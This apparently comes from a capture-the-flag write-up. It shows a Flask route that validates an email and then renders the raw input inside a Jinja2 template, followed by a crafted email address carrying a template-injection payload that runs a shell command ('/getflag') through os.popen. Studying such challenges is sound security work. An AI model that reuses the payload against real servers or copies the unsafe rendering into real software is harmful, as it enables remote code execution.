class EmailModel(BaseModel):
    email: EmailStr
 
@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')
 
    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

"lalala+{{lipsum.__globals__.os.popen('/getflag').read()}}@whatever.gr" <lalala@whatever.gr>